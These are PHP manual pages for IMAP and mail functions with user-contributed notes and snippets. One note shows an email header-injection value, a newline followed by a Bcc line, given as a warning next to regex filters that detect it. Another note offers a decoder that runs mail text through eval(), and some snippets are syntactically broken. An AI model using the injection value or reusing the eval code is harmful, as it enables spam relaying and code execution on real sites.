mixed imap_timeout ( int $timeout_type [, int $timeout = -1 ] )

Sets or fetches the imap timeout.

Parameters

timeout_type

One of the following: IMAP_OPENTIMEOUT, IMAP_READTIMEOUT, IMAP_WRITETIMEOUT, or IMAP_CLOSETIMEOUT.

timeout

The timeout, in seconds.

Return Values

If the timeout parameter is set, this function returns TRUE on success and FALSE on failure.

If timeout is not provided or evaluates to -1, the current timeout value of timeout_type is returned as an integer.

Examples

Example #1 imap_timeout() example

<?php

echo "The current read timeout is " . imap_timeout(IMAP_READTIMEOUT) . "\n";

?>

User Contributed Notes

david dot morel at amakuru dot net 17-Nov-2005 07:48
imap_timeout(1, <seconds>) works fine for pop3 connections, but apparently not for pop3s (ssl, port 995) connections, where the default socket timeout still applies.
This applies to php 4.3.10, not tested on other versions.
bwgraham at vt dot edu 12-Mar-2004 10:53
We looked into the source to find out what this function actually does and how to use it. The function overrides the default_socket_timeout setting from your php.ini file

You can retrieve the current timeout length for each timeout type by calling the function as:

  imap_timeout(timeout_type);
     or
  imap_timeout(timeout_type,-1);

You can set the timeout length for any of the timeout types by setting the timeout value to a number of seconds.

  imap_timeout(timeout_type,<number of seconds>);

The timeout types are as follows:

1: Open
2: Read
3: Write
4: Close

It does not appear that the close type has been implemented.
imap_thread
imap_uid
IMAP Functions


This function returns the UID for the given message sequence number

imap_timeout
imap_undelete
IMAP Functions
PHP Manual

imap_uid

(PHP 4, PHP 5)

imap_uid — This function returns the UID for the given message sequence number

Description

int imap_uid ( resource $imap_stream , int $msg_number )

This function returns the UID for the given message sequence number. An UID is a unique identifier that will not change over time while a message sequence number may change whenever the content of the mailbox changes.

This function is the inverse of imap_msgno().

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number.

Return Values

The UID of the given message.

Notes

Note:

This function is not supported by POP3 mailboxes.

See Also

  • imap_msgno() - Gets the message sequence number for the given UID

User Contributed Notes

Maikel 14-Jul-2010 05:27
Be aware that the uid is unique in a single mailbox. That means a message can have as much uids as mailboxes
anon et mouse 28-Jan-2009 11:57
clarification for Andreas' note about imap_expunge()...

imap_expunge() does indeed change the UID, but only *after* the IMAP stream has closed and then reconnects.

You can use imap_expunge() as many times as you want within one IMAP stream (no reconnects) and the UID stays the same while the Msgno will change with imap_delete() followed by imap_expunge().
Andreas Seeger 24-Jul-2008 10:26
The uid will change in case of unsing imap_expunge. Be shure that
all work ist done before using imap_expunge.
roger at sdr dot com dot au 01-May-2008 07:34
A little quirk of UIDs in a PUBLIC folder in MDaemon (and perhaps other servers?). The UIDs may be unsynchronised between users if the server's option to store flags on a per-user basis is turned on. That is, a message may have a UID of 5 for one user (meaning it was the 5th message to enter the box) but 3 for another user (who perhaps subscribed to the box later). If this is a problem, turn off the per-user option for the mailbox.
steve_foley at excite dot com 04-Sep-2002 10:27
Please note that message_id in the header is NOT the UID - and its dangerous to use as many mail progs don't put a message id in
robert dot blanch at hsc dot utah dot edu 16-Jul-2002 07:25
Another way to get the UID without using imap_uid that works with pop3:

$header = imap_headerinfo( $mbox, $msgno );
$UID = $header->message_id;
20-Jun-2002 01:53
For those using a POP3 mailbox, this function, as noted, does not work.

One way around this is to use direct FTP communication with the mail server.  For example, the following function takes a mailbox/password and message sequence number, and from this returns the message UID.

function fetch_UID($account, $password, $message_number)
{
    $retval = 0;
    $fp = fsockopen($POPMAILSERVER, 110);
    if ($fp > 0)
    {
        $buf = fgets($fp, 1024);

        fputs($fp, "USER $account\r\n");
        $buf = fgets($fp, 1024);

        fputs($fp, "PASS $password\r\n");
        $buf = fgets($fp, 1024);

        fputs($fp, "UIDL $message_number\r\n");
        $retval=fgets($fp, 1024);

        fputs($fp, "QUIT\r\n");
        $buf = fgets($fp,1024);

        fclose($fp);
    }
    return substr($retval,6,30);
}

Note: 110 is the TCP port commonly associated with a POP3 mailbox.  Also the substr() function is used to trim the +OK and the message number from the beginning of the server's response.

I'm sure there are other (better) ways to do this.  But after a fruitless search of the internet, this is what I came up with, and it seems to work for me.
imap_timeout
imap_undelete
IMAP Functions


Unmark the message which is marked deleted

imap_uid
imap_unsubscribe
IMAP Functions
PHP Manual

imap_undelete

(PHP 4, PHP 5)

imap_undelete — Unmark the message which is marked deleted

Description

bool imap_undelete ( resource $imap_stream , int $msg_number [, int $flags = 0 ] )

Removes the deletion flag for a specified message, which is set by imap_delete() or imap_mail_move().

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

flags

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_delete() - Mark a message for deletion from current mailbox
  • imap_mail_move() - Move specified messages to a mailbox

User Contributed Notes

phrank 29-Dec-2007 03:47
If you need to use the uid instead of msgno use

imap_clearflag_full($stream, implode(',', $flags), '\\DELETED', ST_UID);
rdi at nospam dot donireland dot com 18-Nov-2007 07:18
The imap_delete function allows the option to use a UID for the message number but the imap_undelete function does not.
imap_uid
imap_unsubscribe
IMAP Functions


Unsubscribe from a mailbox

imap_undelete
imap_utf7_decode
IMAP Functions
PHP Manual

imap_unsubscribe

(PHP 4, PHP 5)

imap_unsubscribe — Unsubscribe from a mailbox

Description

bool imap_unsubscribe ( resource $imap_stream , string $mailbox )

Unsubscribe from the specified mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_subscribe() - Subscribe to a mailbox

User Contributed Notes

There are no user contributed notes for this page.
imap_undelete
imap_utf7_decode
IMAP Functions


Decodes a modified UTF-7 encoded string

imap_unsubscribe
imap_utf7_encode
IMAP Functions
PHP Manual

imap_utf7_decode

(PHP 4, PHP 5)

imap_utf7_decode — Decodes a modified UTF-7 encoded string

Description

string imap_utf7_decode ( string $text )

Decodes modified UTF-7 text into ISO-8859-1 string.

This function is needed to decode mailbox names that contain certain characters which are not in range of printable ASCII characters.

Parameters

text

A modified UTF-7 encoding string, as defined in » RFC 2060, section 5.1.3 (original UTF-7 was defined in » RFC1642).

Return Values

Returns a string that is encoded in ISO-8859-1 and consists of the same sequence of characters in text, or FALSE if text contains invalid modified UTF-7 sequence or text contains a character that is not part of ISO-8859-1 character set.

See Also

  • imap_utf7_encode() - Converts ISO-8859-1 string to modified UTF-7 text

User Contributed Notes

Min He 10-May-2010 11:21
For Chinese charset, we can use:

mb_convert_encoding($mailbox, "UTF7-IMAP", "GB2312");

when you want to create a mailbox in Chinese.

OR

mb_convert_encoding($mailbox, "GB2312", "UTF7-IMAP");

when you want to show the listed mailbox with the right charset.
27-Aug-2002 10:32
For "Outlook-style" UTF-7, you can also use:

mb_convert_encoding( $str, "ISO_8859-1", "UTF7-IMAP" ); # for decoding
mb_convert_encoding( $str, "UTF7-IMAP", "ISO_8859-1" ); # for encoding
sven at planb dot de 03-Nov-2000 03:44
imap_utf7_decode decodes 'modified'.
For decoding Outlook UTF-7 - texts I use --enable-recode and $latin1string=recode_string("UTF-7..ISO_8859-1",$utf7string);
Don't use recode-3.5c.*rpm from Contrib.
recode_string seems to be buggy.
imap_unsubscribe
imap_utf7_encode
IMAP Functions


Converts ISO-8859-1 string to modified UTF-7 text

imap_utf7_decode
imap_utf8
IMAP Functions
PHP Manual

imap_utf7_encode

(PHP 4, PHP 5)

imap_utf7_encode — Converts ISO-8859-1 string to modified UTF-7 text

Description

string imap_utf7_encode ( string $data )

Converts data to modified UTF-7 text.

This is needed to encode mailbox names that contain certain characters which are not in range of printable ASCII characters.

Parameters

data

An ISO-8859-1 string.

Return Values

Returns data encoded with the modified UTF-7 encoding as defined in » RFC 2060, section 5.1.3 (original UTF-7 was defined in » RFC1642).

See Also

  • imap_utf7_decode() - Decodes a modified UTF-7 encoded string

User Contributed Notes

dn at dnunes dot com 08-Nov-2007 11:59
Maccoy function's isn't reliable 'cause it doesn't follow the RFC 2060. It will work fine for most latin chars (which, in base64, will turn into "+A..."), but for other language it can make a big mess. If you're using an internationalizated system, try using the other presented options.
31-Jul-2006 07:10
This encoding will not work for cyrus imapservers and you might have problems with other mail clients.
Use mb_convert_encoding($str, "UTF7-IMAP","ISO-8859-15") instead.

ps: mb_convert_encoding() requires   building php with  --enable-mbstring option
02-Nov-2005 03:01
Note that php4 (4.4.0) will encode IMAP folders in a way that no other program will be able to decode them back.
$ php4 <<EOF
> <?php
> echo "ENCODED: " . imap_utf7_encode("Ü") . "\\n";
> ?>
> EOF
ENCODED: &w5w-

Now try to decode the result string ("&w5w-") using e.g. javamail or python's imaplib, or if you don't like these languages - create an IMAP folder using PHP and try to display it in an IMAP client (mutt, thunderbird, outlook, whatever...)
marcelo at maccoy dot com dot br 07-Mar-2005 05:48
<?php
/**
* @return encoded string
* @param string $str
* @desc Convert str to UTF-7 imap default mailbox names
    (the imap_utf7_encode don t built the same result)
*/
function getEncodedUtf7($str){
    if(!$str){
       echo "error: you need to give a string parameter.";
       return false;
    }
# change spaces by entropy because mb_convert fail with spaces
    $str=ereg_replace(" ","xyxy",$str);
# if mb_convert work
    if($str=mb_convert_encoding($str,"UTF-7")){
        # change characters
            $str=preg_replace("/\+A/","&A",$str);
        # change to spaces again
            $str=preg_replace("/xyxy/"," ",$str);
        # return encoded string
            return $str;
 # else
    }else{
        # print error and return false
            echo "error: is not possible to encode this string '$str'.[".
            imap_last_error().
            "]";
            return false;
    }
}
?>
imap_utf7_decode
imap_utf8
IMAP Functions


Converts MIME-encoded text to UTF-8

imap_utf7_encode
Mail
IMAP Functions
PHP Manual

imap_utf8

(PHP 4, PHP 5)

imap_utf8 — Converts MIME-encoded text to UTF-8

Description

string imap_utf8 ( string $mime_encoded_text )

Converts the given mime_encoded_text to UTF-8.

Parameters

mime_encoded_text

A MIME encoded string. MIME encoding method and the UTF-8 specification are described in » RFC2047 and » RFC2044 respectively.

Return Values

Returns an UTF-8 encoded string.

See Also

  • imap_mime_header_decode() - Decode MIME header elements

User Contributed Notes

kloewer at gmail dot com 17-Oct-2011 03:08
Use  iconv_mime_decode();

<?php
// This yields "Subject: PrÃ¼fung PrÃ¼fung"
echo iconv_mime_decode("Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=",
                       0, "ISO-8859-1");
?>

http://php.net/manual/de/function.iconv-mime-decode.php
ThEDocTor 17-May-2011 05:08
This will get the German characters right once you fetch the overview(imap_fetch_overview)..
<?php
    $from = $overview[0]->from;
    $tmpfrom = imap_mime_header_decode($from);
    $from = quoted_printable_decode($tmpfrom[0]->text);
?>
esvit at mail dot ru 26-Jan-2011 05:12
That fixed the all caps issue:

<?php
function imap_utf8_fix($string) {
  return iconv_mime_decode($string,0,"UTF-8");
}
?>
tomlove at gmail dot com 09-Mar-2010 10:59
This function strictly observes parts of RFC 2047 to the extent that it may not decode encoded-words produced by non-compliant composing agents.

1. It is strict about a 76-character maximum length for encoded-words. Gmail may produce an encoded-word longer than this, and this will be passed through without decoding.

2. It is strict about the rule that encoded-words be separated by linear-white-space from adjacent text. Encoded-words not so separated will be ignored.

3. Invalid "B" encodings will cause this function to return without decoding ANY encoded-words in the string (including any valid ones).

But...

4. Invalid "Q" encodings are decoded with invalid characters (e.g. > 127) still in place.

The advantage of this function over mb_decode_mimeheader() is that it will decode any character set, including non-existent ones (by assuming UTF-8).
number0 at tlen dot pl 06-Jul-2009 02:43
string in uppercase error http://bugs.php.net/bug.php?id=44098
my function to decode string

<?php
function decodeMimeStr($string, $charset="UTF-8" )
{
      $newString = '';
      $elements=imap_mime_header_decode($string);
      for($i=0;$i<count($elements);$i++)
      {
        if ($elements[$i]->charset == 'default')
          $elements[$i]->charset = 'iso-8859-1';
        $newString .= iconv($elements[$i]->charset, $charset, $elements[$i]->text);
      }
      return $newString;
}
?>
MetaYii 22-Jun-2009 01:24
Be aware: imap_utf8 tends to return the string in uppercase.
Anonymous webmaster@luzon14DoTCom 30-Jul-2007 12:43
You may also try this example:

$_subject = "=?iso-8859-1?b?THV6b26uMTQ=?= dot CoM";
echo utf8_decode(imap_utf8($_subject));

OUTPUT: LuzonÂ®14 dot CoM

Regards,
Tuso/Nazareth
hans at lintoo dot dk 19-Sep-2005 04:42
Also see:
<?php
imap_mime_header_decode($sting);
?>
Don't try to decode subjects with this one... imap_mime_header_decode does a much better job at that.
marcelo at maccoy dot com dot br 14-Feb-2005 12:01
# this script are correct with the right signs remove expression
# please, ignore the later.
function decode_utf8($str){
       # paterns
           $err="(=\?.{10,13}q\?_?|\?\=)";
           $pat = "/=([0-9A-F]{2})/";
           $cha="'.chr(hexdec(";
       # erase null signs in string
          $str=eregi_replace($err,"",$str);
       # to decode with eval and replace
          eval("\$str='".
                  preg_replace($pat,$cha."'$1')).'",$str)
                  ."';");
        # return
           return $str;
}
#Note: you can to reduce this script in 3 lines.
aperez at informatica dot 24ruedas dot com 11-Jun-2004 02:48
Here's my new better function... ;)

function decode_ISO88591($string)
{
  $string=str_replace("=?iso-8859-1?q?","",$string);
  $string=str_replace("=?iso-8859-1?Q?","",$string);
  $string=str_replace("?=","",$string);

  $charHex=array("0","1","2","3","4","5","6","7",
                  "8","9","A","B","C","D","E","F");

  for($z=0;$z<sizeof($charHex);$z++)
  {
    for($i=0;$i<sizeof($charHex);$i++)
    {
      $string=str_replace(("=".($charHex[$z].$charHex[$i])),
                         chr(hexdec($charHex[$z].$charHex[$i])),
                         $string);
    }
  }
  return($string);
}

Hope this helps. :)
aperez at informatica dot 24ruedas dot com 10-Jun-2004 12:05
I got issues decoding strings with spanish characters. I found encodeISO88591() function at this manual as an user note.

After having problems with imap_utf8() and utf8_decode(), I've decided create a function decodeISO88591() for decoding strings encoded with encodeISO88591().

Here's the code(I've translated remarks and variable and array names from spanish to english for better understanding):

function encodeISO88591($string)
{
  // ISO-8859-1 string header
  $stringISO = "=?iso-8859-1?q?";

  // Each character are encoded('equal-to' symbol + hexadecimal value from ASCII code)
  for($i=0;$i<strlen($string);$i++)
  {
    // Basic ASCII characters are not encoded
    if(ord(substr($string,$i,1))<1 || ord(substr($string,$i,1))>127)
    {
      $char = ord($string[$i]);
      $char = strtoupper(dechex($char));
      $stringISO.="=".$char;
    }
    else
    {
      $stringISO.=substr($string,$i,1);
    }
  }

  // ISO-8859-1 string footer
  $stringISO.="?= ";

  return($stringISO);
}

// And this is my function decodeISO88591()

function decodeISO88591($string)
{
  // Arrays for obtaining hexadecimal values
  // for each ISO-8859-1 charset
  $mAlfa=array("A","B","C","D","E","F");
  $mNum=array();
  for($n=0;$n<10;$n++)
  {
    $mNum[]=$n;
  }

  // ISO-8859-1 charset
  $iso88591=array(" ","¡","¢","£","¤",
                         "¥","¦","§","¨","©","ª",
                         "«","¬","","®","¯","°",
                         "±","²","³","´","µ","¶",
                         "·","¸","¹","º","»","¼",
                         "½","¾","¿","À","Á","Â",
                         "Ã","Ä","Å","Æ","Ç","È",
                         "É","Ê","Ë","Ì","Í","Î","Ï",
                         "Ð","Ñ","Ò","Ó","Ô","Õ",
                         "Ö","×","Ø","Ù","Ú","Û",
                         "Ü","Ý","Þ","ß","à","á","â",
                         "ã","ä","å","æ","ç","è","é",
                         "ê","ë","ì","í","î","ï","ð","ñ",
                         "ò","ó","ô","õ","ö","÷","ø",
                         "ù","ú","û","ü","ý","þ","ÿ");
  // Hexadecimal values array
  for($a=0;$a<sizeof($mAlfa);$a++)
  {
    for($n=0;$n<sizeof($mNum);$n++)
    {
      $mHex[]=$mAlfa[$a].$mNum[$n];
    }
    for($a2=0;$a2<sizeof($mAlfa);$a2++)
    {
      $mHex[]=$mAlfa[$a].$mAlfa[$a2];
    }
  }

  // ISO-8859-1 string header and footer are deleted
  $string=str_replace("=?iso-8859-1?q?","",$string);
  $string=str_replace("?= ","",$string);

  // Encoded values are decoded
  for($h=0;$h<sizeof($mHex);$h++)
  {
    $string=str_replace(("=".$mHex[$h]),$iso88591[$h],$string);
  }

  return($string);
}

I hope this helps somebody. :)
mogster_at_boomdesign.no 31-Oct-2002 03:53
To get a complete decode to utf8 (which is the protocol with "national" characters), use these two:
$subject = "=?ISO-8859-1?Q?B=F8lla?=, med =?ISO-8859-1?Q?=F8l?= i baggen";
$subject = imap_utf8($subject);
$subject = utf8_decode($subject);
will return the subject in 8-bit ascii.
That is, both functions.

knutm :-)
imap_utf7_encode
Mail
IMAP Functions


Mail

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Mail Functions
    • ezmlm_hash — Calculate the hash value needed by EZMLM
    • mail — Send mail

User Contributed Notes

Carlos 10-Jan-2011 07:46
If you use the function utf8_decode() for the subject variable you can receive text messages readables in utf-8.
pouletfou at gmail dot com 06-Aug-2009 10:39
I use this script to test webapps using mail with this little php script saved as /usr/sbin/sendmail :

#!/usr/bin/php
<?php
    //====================================================
    // Program : Fake send mail
    // Author : pouletfou at gmail
    // Description : save this file as /usr/sbin/sendmail
    //  and you can test your PHP applications using mail
    //  by looking at the /tmp/fakesendmail.log files.
    //====================================================

    define('LOGFILE','/tmp/fakesendmail.log');

    $log = fopen (LOGFILE,'a+');

    fwrite($log,"\n".implode(' ',$argv).
     " called on : ".date('Y-m-d H:i:s')."\n");

    fwrite($log,file_get_contents("php://stdin"));
    fwrite($log,
"\n===========================================================\n");
    fclose($log);

?>
Ashlin 15-Apr-2009 10:34
2 points have to be set :

<?php
ini_set("SMTP","smtp.example.com" );
ini_set('sendmail_from', 'user@example.com');
?>

or set them in the php.ini file

By doing this, i have fixed definetly this problem :-)
burkestar at gmail dot com 05-Nov-2008 10:15
The workaround mentioned above only works with IIS 5 assuming you've configured the Virtual SMTP Server to accept relays.

In IIS console, right-click SMTP Virtual Server and choose "Properties". On "Access" tab, click "Relay..." button and make sure "All except the list below" is selected.

Warning: This is just a quick fix which exposes a security risk because allowing your SMTP server to be a relay with anonymous access could make your computer susceptible to becoming a spam zombie.  You should properly add your computer's IP address to the list and choose "Only the list below" instead to lock it down.
podlom at gmail dot com 23-Oct-2008 06:24
If you are sending e-mails in non latin character add charset information.
For example:

<?php
// header for Russian encoding will be: windows-1251
$header = "From: Shkodenko V. Taras p0dl0m@gmail.com"\nContent-Type: text/plain; charset=\"windows-1251\"\nContent-Transfer-Encoding: 8bit";
?>
Jung-Ho 14-Oct-2008 01:42
What "Some Guy" stated is true (for my case at least).

I am running WinXP Pro, IIS5, PHP5.

To test PHP's mail function, I utilized the below code that "dev at realynospamspcweb dot nl" posted (the code that they stated worked for them without errors).

<?php

$Name = "Da Duder"; //senders name
$email = "email@adress.com"; //senders e-mail adress
$recipient = "PersonWhoGetsIt@emailadress.com"; //recipient
$mail_body = "The text for the mail..."; //mail body
$subject = "Subject for reviever"; //subject
$header = "From: ". $Name . " <" . $email . ">\r\n"; //optional headerfields

mail($recipient, $subject, $mail_body, $header); //mail command :)
?>

This (the above code) did not work for me.

But after utilizing "Some Guy's" tip and making the below modification, it did.  Thank you "Some Guy".

<?php

$Name = "Da Duder"; //senders name
$email = "email@adress.com"; //senders e-mail adress
$recipient = "PersonWhoGetsIt@emailadress.com"; //recipient
$mail_body = "The text for the mail..."; //mail body
$subject = "Subject for reviever"; //subject
$header = "From: ". $Name . " <" . $email . ">\r\n"; //optional headerfields

ini_set('sendmail_from', 'me@domain.com'); //Suggested by "Some Guy"

mail($recipient, $subject, $mail_body, $header); //mail command :)
?>

Now this code worked for me.

It might be of interest that I did not need to modify any of the default "php.ini" settings...

SMTP = localhost
smtp_port = 25
Some guy 01-Sep-2008 05:17
Under windows there is a bug in php/mail

See here: http://bugs.php.net/bug.php?id=28038

this results in you being unable to send 'From: Full Name <me@domain.com>'

Workaround is:

Set the following before calling the mail function:

ini_set('sendmail_from', 'me@domain.com);
dev at realynospamspcweb dot nl 22-Aug-2008 02:16
@Crusiatus Black
23-May-2008 05:00

Code below works without errors
<?php

$Name = "Da Duder"; //senders name
$email = "email@adress.com"; //senders e-mail adress
$recipient = "PersonWhoGetsIt@emailadress.com"; //recipient
$mail_body = "The text for the mail..."; //mail body
$subject = "Subject for reviever"; //subject
$header = "From: ". $Name . " <" . $email . ">\r\n"; //optional headerfields

mail($recipient, $subject, $mail_body, $header); //mail command :)
?>
imap_utf8
Introduction
Mail Related Extensions


Introduction

The mail() function allows you to send mail.

User Contributed Notes

There are no user contributed notes for this page.
Mail
Installing/Configuring
Mail


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

David dot Kit dot Friedman at gmail dot com 15-Jul-2009 06:37
If you are using SMTP authentication you can use the PEAR Mail package.

http://pear.php.net/package/Mail
David dot Kit dot Friedman at gmail dot com 14-Jul-2009 12:01
Just to add to the previous note -- if you are using windows and also SMTP authentication it is possible to get this to work by using the PEAR Mail package:

http://pear.php.net/package/Mail

I do not believe the built in Mail function provides this.
alvaro at demogracia dot com 11-Nov-2008 01:12
The sendmail binary requirement only applies to Unix-like platforms (e.g. Linux). In Windows you need to specify a mail server that accepts mail through a network connection. Find these lines in your php.ini file:

[mail function]
; For Win32 only.
SMTP = localhost
smtp_port = 25

; For Win32 only.
;sendmail_from = me@example.com
Introduction
Requirements
Mail


Requirements

For the Mail functions to be available, PHP must have access to the sendmail binary on your system during compile time. If you use another mail program, such as qmail or postfix, be sure to use the appropriate sendmail wrappers that come with them. PHP will first look for sendmail in your PATH, and then in the following: /usr/bin:/usr/sbin:/usr/etc:/etc:/usr/ucblib:/usr/lib. It's highly recommended to have sendmail available from your PATH. Also, the user that compiled PHP must have permission to access the sendmail binary.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mail configuration options
Name | Default | Changeable | Changelog
mail.add_x_header | "0" | PHP_INI_PERDIR | Available since PHP 5.3.0.
mail.log | NULL | PHP_INI_PERDIR | Available since PHP 5.3.0.
SMTP | "localhost" | PHP_INI_ALL |
smtp_port | "25" | PHP_INI_ALL | Available since PHP 4.3.0.
sendmail_from | NULL | PHP_INI_ALL |
sendmail_path | "/usr/sbin/sendmail -t -i" | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

mail.add_x_header bool

Add X-PHP-Originating-Script that will include UID of the script followed by the filename.

mail.log string

The path to a log file that will log all mail() calls. Log entries include the full path of the script, line number, To address and headers.

SMTP string

Used under Windows only: host name or IP address of the SMTP server PHP should use for mail sent with the mail() function.

smtp_port int

Used under Windows only: Number of the port to connect to the server specified with the SMTP setting when sending mail with mail(); defaults to 25. Only available since PHP 4.3.0.

sendmail_from string

Which "From:" mail address should be used in mail sent from PHP under Windows. This directive also sets the "Return-Path:" header.

sendmail_path string

Where the sendmail program can be found, usually /usr/sbin/sendmail or /usr/lib/sendmail. configure does an honest attempt of locating this one for you and set a default, but if it fails, you can set it here.

Systems not using sendmail should set this directive to the sendmail wrapper/replacement their mail system offers, if any. For example, » Qmail users can normally set it to /var/qmail/bin/sendmail or /var/qmail/bin/qmail-inject.

qmail-inject does not require any option to process mail correctly.

This directive works also under Windows. If set, smtp, smtp_port and sendmail_from are ignored and the specified command is executed.

User Contributed Notes

Robert 25-Apr-2011 11:09
Despite what this page says about the "SMTP" and "smtp_port" settings being used only under Windows, all Drupal sites use these settings to send email, regardless of which OS they're running in.
Martin Nicholas 22-Aug-2010 09:46
Some php.ini files place "sendmail_from" & "sendmail_path" in "[mail function]"
section where they are ignored.
Installation
Resource Types
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Mail Functions
Mail


Mail Functions

Table of Contents

  • ezmlm_hash — Calculate the hash value needed by EZMLM
  • mail — Send mail

User Contributed Notes

webmaster at weethet dot nl 31-Aug-2007 07:35
As mentioned earlier, for Windows users there is a fake sendmail option. A bit more detailed description how to do this is:

If you have a test server in use running Windows and some kind of WAMP combo (XXAMP, WAMP Server, etc) then you'll notice that the PHP sendmail command (mail()) does not work. Windows simply does not provide the sendmail statement ...

There is a simple trick to get this to work though;

1) Download (or use the attached file) sendmail.zip from http://glob.com.au/sendmail/

2) Unzip this in a folder on your c: drive (preferably use a simple path, for example c:\wamp\sendmail -- long filenames could cause problems)

3) Edit your PHP.INI file (note: WAMP users should access their php.ini file from the WAMP menu). Go to the [mail function] section and modify it as such:

[mail function]
; For Win32 only.
;SMTP =

; For Win32 only.
;sendmail_from =

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").
sendmail_path = "C:\wamp\sendmail\sendmail.exe -t"

; Force the addition of the specified parameters to be passed as extra parameters
; to the sendmail binary. These parameters will always replace the value of
; the 5th parameter to mail(), even in safe mode.
;mail.force_extra_paramaters =

.. and save the changes.

4) Open the sendmail.ini and modify the settings to:

[sendmail]

; you must change mail.mydomain.com to your smtp server,
; or to IIS's "pickup" directory.  (generally C:\Inetpub\mailroot\Pickup)
; emails delivered via IIS's pickup directory cause sendmail to
; run quicker, but you won't get error messages back to the calling
; application.

smtp_server=mail.yourdomain.com

; smtp port (normally 25)

smtp_port=25

; the default domain for this server will be read from the registry
; this will be appended to email addresses when one isn't provided
; if you want to override the value in the registry, uncomment and modify

default_domain=yourdomain.com

; log smtp errors to error.log (defaults to same directory as sendmail.exe)
; uncomment to enable logging
; error_logfile=sendmail_error.log

; create debug log as debug.log (defaults to same directory as sendmail.exe)
; uncomment to enable debugging
; debug_logfile=sendmail_debug.log

; if your smtp server requires authentication, modify the following two lines

;auth_username=
;auth_password=

; if your smtp server uses pop3 before smtp authentication, modify the
; following three lines

pop3_server=mail.yourdomain.com
pop3_username=you@yourdomain.com
pop3_password=mysecretpassword

; to force the sender to always be the following email address, uncomment and
; populate with a valid email address.  this will only affect the "MAIL FROM"
; command, it won't modify the "From: " header of the message content

force_sender=you@yourdomain.com

; sendmail will use your hostname and your default_domain in the ehlo/helo
; smtp greeting.  you can manually set the ehlo/helo name if required

hostname=

The optional error and debug logging is recommended when trying this the first time, so you have a clue what goes wrong in case it doesn't work.
Force_sender is also optional, but recommended to avoid confusion on the server end.
Obviously mail.yourdomain.com, you@yourdomain.com, and mysecretpassword should be the relevant info for your SMTP server.
Now restart the WAMP services (mainly Apache so PHP re-reads it's config).

Now you're good to go and use the PHP mail() statement as if you're a Unix user ...
jo at camindo de 06-Feb-2007 01:26
If you have programmed headers do not adopt post-values unfiltered!!
Often used in scripts, and often abused by spam mailings:

<?php
$headers = "From: {$email}";
?>

If somebody posts email="me@example.com
Bcc:someone1@example.com,someoneelse@example.com,..."
(with linebreak behind me@example.com)

You get following headers:

From: me@example.com
Bcc:someone1@example.com,someoneelse@example.com,...
brett at brettbrewer dot com 05-Dec-2006 11:05
I was having problems with all php emails showing up on my Exchange server as attachements instead of normal emails. I discovered that Exchange needs the MIME Version header. I simply added this to the beginning of my email headers:

<?php
$headers .= "MIME-Version: 1.0\r\n";
?>

Now messages show up properly when they arrive at my Exchange server.
anselm at netuxo dot co dot uk 10-Nov-2006 02:31
In case you don't want to, or can't, configure sendmail for your server, a good alternative is esmtp - it's an smtp mailer with minimum configuration that can be used as a sendmail drop-in : http://esmtp.sourceforge.net/
furrykef at gmail dot com 03-Nov-2006 02:38
If you use a regexp to validate an e-mail address, be sure that you actually use a correct regexp. In particular, there are more valid punctuation characters than you may think. All of these characters may appear to the left of the at-sign: ! # $ % & ' * + - / = ? ^ _ ` { | } ~

Don't believe me? Look at RFC 2822, which defines the current standard for e-mail addresses. ;)

There's no reason, other than laziness, to reject e-mail address that contain these characters to the left of the at-sign. You might think that nobody uses these characters, but people who write incorrect regexps are one reason why. Do your part to correct this situation. :)

Note in particular the plus sign. Many regexps reject addresses with the plus sign, but there are e-mail addresses that have them. In particular, gmail has a special feature called "plus addressing", so that if your username is "joeuser", you can use "joeuser+web at gmail dot com" and "joeuser+business at gmail dot com" as separate addresses, and the e-mail will be sorted depending on which address was used.

Even allowing all those punctuation characters isn't enough to fully satisfy RFC2822. For example, you can use quoted strings to allow spaces in e-mail addresses, such as "joe user" at somewhere dot com. But I wouldn't worry about such things too much, because they're too obscure; just make sure you get all the punctuation characters in there.

By the way, also read RFC 3696 and its errata. These define rules for e-mail addresses in more plain language.
martin dot felis at gmx dot de 10-Mar-2006 07:03
If using a chroot environment and you don't want to have a full mailer in it, mini-sendmail (can be found at http://www.acme.com/software/mini_sendmail/) is very useful. It is just a small binary that sends mails over your local mta over port 25.

Martin
derernst at gmx dot ch 17-Feb-2006 08:43
Suggestion for methods checking form inputs for e-mail injection attempts.

Any inputs expected from single-line text fields can just be refused if they contain a newline character. The second function tries to minimize matches on non-evil inputs by matching suspect strings only if preceded by a newline character. (Anyway, if this is considered to be safe, it will of course do it for single-line inputs, too.)

<?php

/**
* Check single-line inputs:
* Returns false if text contains newline character
*/
function has_no_newlines($text)
{
    return preg_match("/(%0A|%0D|\\n+|\\r+)/i", $text) == 0;
}

/**
* Check multi-line inputs:
* Returns false if text contains newline followed by
* email-header specific string
*/
function has_no_emailheaders($text)
{
    return preg_match("/(%0A|%0D|\\n+|\\r+)(content-type:|to:|cc:|bcc:)/i", $text) == 0;
}

?>
jcwebb at dicoe dot com 08-Feb-2006 02:16
Corrupted Attachments ???
I spent many hours with corrupted attachments (of all types of files) - The answer: a blank line is needed after $msg.=$file \r\n \r\n [incredible but true].
Heres some useful code for sending an attachment, and display html OR text depending on the users email-reader.

i work with many different systems, so...

<?php # Is the OS Windows or Mac or Linux
if (strtoupper(substr(PHP_OS,0,3)=='WIN')) {
  $eol="\r\n";
} elseif (strtoupper(substr(PHP_OS,0,3)=='MAC')) {
  $eol="\r";
} else {
  $eol="\n";
} ?>

<?php
# File for Attachment
$f_name="../../letters/".$letter;    // use relative path OR ELSE big headaches. $letter is my file for attaching.
